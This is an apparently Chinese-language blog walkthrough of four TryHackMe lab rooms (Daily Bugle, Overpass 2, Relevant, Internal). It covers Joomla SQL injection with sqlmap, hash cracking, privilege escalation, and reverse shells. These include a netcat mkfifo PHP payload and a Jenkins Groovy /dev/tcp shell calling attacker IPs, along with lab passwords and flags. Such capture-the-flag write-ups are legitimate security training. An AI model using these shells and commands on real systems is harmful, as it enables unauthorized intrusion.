Tryhackme-Advanced Exploitation

Advanced Exploitation

Daily Bugle

信息收集,扫描端口发现开启22、80、3306,80端口robots.txt文件泄露后台地址administrator,确定CMS为Joomla

image-20210820101755430

Task1 Deploy

Access the web server, who robbed the bank?

Spiderman

image-20210820141752926

Task2 Obtain user and root

1.What is the Joomla version?

3.7.0

image-20210820135947701

2.Instead of using SQLMap, why not use a python script!

What is Jonah’s cracked password?

Joomla! 3.7.0 - ‘com_fields’ SQL Injection - PHP webapps Exploit (exploit-db.com)

URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
Using Sqlmap: 
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20210820152039123

image-20210820152051618

image-20210820152102271

jonah#$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm

image-20210820174443247

识别哈希类型为bcrypt 2 ∗ 2* 2, Blowfish (Unix),hashcat编号为3200

hashcat -m 3200 -o 结果文件 哈希文件 字典文件

结果为jonah:spiderman123

也可以利用stefanlucas/Exploit-Joomla: CVE-2017-8917 - SQL injection Vulnerability Exploit in Joomla 3.7.0 (github.com)

3.What is the user flag?

使用jonah账号登录至Joomla后台,发现后台 Extensions-Templates-Templates模块可以直接编辑PHP文件,直接在后台新建反弹shell.php文件。

image-20210821093743496

根据保存文件后提示猜测文件路径为http://IP/template/beez3/shell.php,web访问,同时本地打开nc监听指定端口,成功得到shell。反弹shell权限不高,只能访问web目录/var/www/html,在配置文件configuration.php中发现疑似root账密。

image-20210821094212182

尝试切换账户,果然不成功;查看/etc/passwd,发现有用户账户jjameson.

使用疑似密码ssh登录jjameson账户,成功。查看/home/jjameson目录下user.txt文件,得到user flag为27a260fe3cba712cfdedb1c86d80442e

image-20210821102417476

4.What is the root flag?

执行sudo -l命令,发现特权程序yum

image-20210821102634616

yum | GTFOBins中找到提权方法,成功提权。

image-20210821103646328

在/root目录下查看root.txt,得到root flag为eec3d53292b1821868266858d7fa6f79

image-20210821103743492

Task3 Credits

Found another way to compromise the machine or want to assist others in rooting it? Keep an eye on the forum post located here.

Overpass 2 - Hacked

task1 Forensics - Analyse the PCAP

1.What was the URL of the page they used to upload a reverse shell?

/development/

image-20210727145150235

2.What payload did the attacker use to gain access?

<? php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f”)?>

image-20210727145234283

3.What password did the attacker use to privesc?

whenevernoteartinstant

image-20210727154127977

4.How did the attacker establish persistence?

https://github.com/NinjaJc01/ssh-backdoor

image-20210727154450230

5.Using the fasttrack wordlist, how many of the system passwords were crackable?

4

image-20210727161020502

task2 Research - Analyse the code

1.What’s the default hash for the backdoor?

bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3

image-20210727161211936

2.What’s the hardcoded salt for the backdoor?

1c362db832f3f864c8c2fe05f2002a05

image-20210727161257280

3.What was the hash that the attacker used? - go back to the PCAP for this!

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

image-20210727161344942

4.Crack the hash using rockyou and a cracking tool of your choice. What’s the password?

november16

hashcat -m 1710 -o 结果文件 哈希:salt文件 字典文件

image-20210727164540808

hash识别为 SHA-512

hashmode

task3 Attack - Get back in!

1.The attacker defaced the website. What message did they leave as a heading?

h4ck3d by CooctusClan

image-20210727170404973

2.Using the information you’ve found previously, hack your way back in!

3.What’s the user flag?

thm{d119b4fa8c497ddb0525f7ad200e6567}

image-20210727171156660

4.What’s the root flag?

thm{d53b2684f169360bb9606c333873144d}

image-20210727172740033

image-20210727172718951

bash 命令的 -p 参数。

默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid 。如果使用了 -p 参数,则不会再覆盖。

Relevant

信息收集 发现机器系统为Windows Server 2016 ,80和49663上的WebServer;445上的SMB,共享目录nt4wrksv;3389上的RDP

image-20210821135629094

image-20210821135651455

image-20210821141654587

[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

解码得到Bob - !P@$$W0rD!123 尝试登录,账密正确,但未授权远程登录

Bill - Juw4nnaM4n420696969!$$$ 尝试登录,提示密码已过期

更换方向,80和49663都有默认IIS页面,尝试爆破目录

访问http://IP:49663/nt4wrksv/passwords.txt 与SMB共享目录中passwords.txt文件内容相同;

image-20210821151818139

向共享目录中上传文件可以同时在web目录和共享目录找到,证明使用同一目录。

Task1 Pre-Engagement Briefing

1.User Flag

使用msfvenom生成aspx木马,上传至smb目录下,通过浏览器访问木马文件,同时msf监听指定端口得到shell。

在C:/Users/Bob/Desktop/user.txt中发现user flag为THM{fdk4ka34vk346ksxfr21tg789ktf45}

image-20210823103629379

2.Root Flag

使用whoami /priv查看用户的安全权限,systeminfo发现系统版本为windows server 2016有着SetImpersonatePrivilege安全权限,使用printspoofer提权。

image-20210823103939174

使用smbclient上传PrintSpoofer.exe文件至web目录,执行PrintSpoofer.exe -i -c cmd 成功提权。

image-20210823105427891

前往C:\Users\Administrator\Desktop目录下查看找到root flag为THM{1fk5kf469devly1gl320zafgl345pv}

image-20210823105813132

Internal

Task1 Pre-engagement Briefing

I understand the scope of work

信息收集 nmap扫描发现靶机系统版本为Ubuntu,开启了22和80端口;中间件为Apache 2.4.29,语言为php;

image-20210823133703036

浏览器访问80端口发现Apache默认页面,尝试目录扫描,目录扫描发现安装CMS WordPress 5.4.2;phpmyadmin 4.6.6;

image-20210823141347392

Task2 Deploy and Engage the Client Environment

如果想正常访问Wordpress需要修改host文件,添加

靶机IP internal.thm 将域名指向靶机IP

使用wpscan对http://ip/blog进行账号枚举

wpscan --url http://ip/blog --enumerate u

image-20210824150556130

发现wordpress账户admin,在http://ip/blog/wp-login.php页面使用wpscan暴力破解admin密码,字典使用/wordlists/rockyou.txt,结果密码为my2boy

wpscan --url http://IP/blog --passwords 字典 --usernames admin

image-20210824150244406

登录wordpress管理页面,发现提供编辑php文件功能,修改主题中的404.php文件为Godzilla生成php shell,访问主题目录 http://IP/wp-content/themes/twentyseventeen/404.php文件成功访问,使用Godzilla连接成功。

1.User.txt Flag

搜索敏感信息,在/opt目录下发现wp-save.txt,得到aubreanna密码bubb13guM!@#123

image-20210823170527006

在aubreanna用户家目录下找到user flag为THM{int3rna1_fl4g_1}

image-20210823171041079

2.Root.txt Flag

aubreanna用户家目录下,有一个jenkins.txt文件,显示内部还运行者一个jenkins服务器。

image-20210823172249860

使用ssh做代理,将对外部地址10.10.1.35:8080端口的流量转发至172.17.0.2的8080端口上,使用命令ssh -L 6767:172.17.0.2:8080 anbreanna@internal.thm在攻击机上运行或者使用MobaXterm自带的Tunneling工具建立ssh隧道.

本地浏览器访问http://127.0.0.1:6767,即可看到Jenkins登录页面

image-20210824113446199

使用burp Intruder暴力破解得到jenkins的管理员密码为spongebob;

image-20210824132819221

使用admin:spongebob成功登录jenkins,在Script Console页面允许用户执行Java代码,写入java反弹shell执行;

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.1/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

本地使用nc监听4444端口即可获取shell,进入docker容器

image-20210824135909972

在容器/opt目录下发现note.txt,即可获取root用户密码为root:tr0ub13guM!@#123;

image-20210824140103453

使用root账密登录在root家目录下即可发现root flag为THM{d0ck3r_d3str0y3r}

image-20210824140537983

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值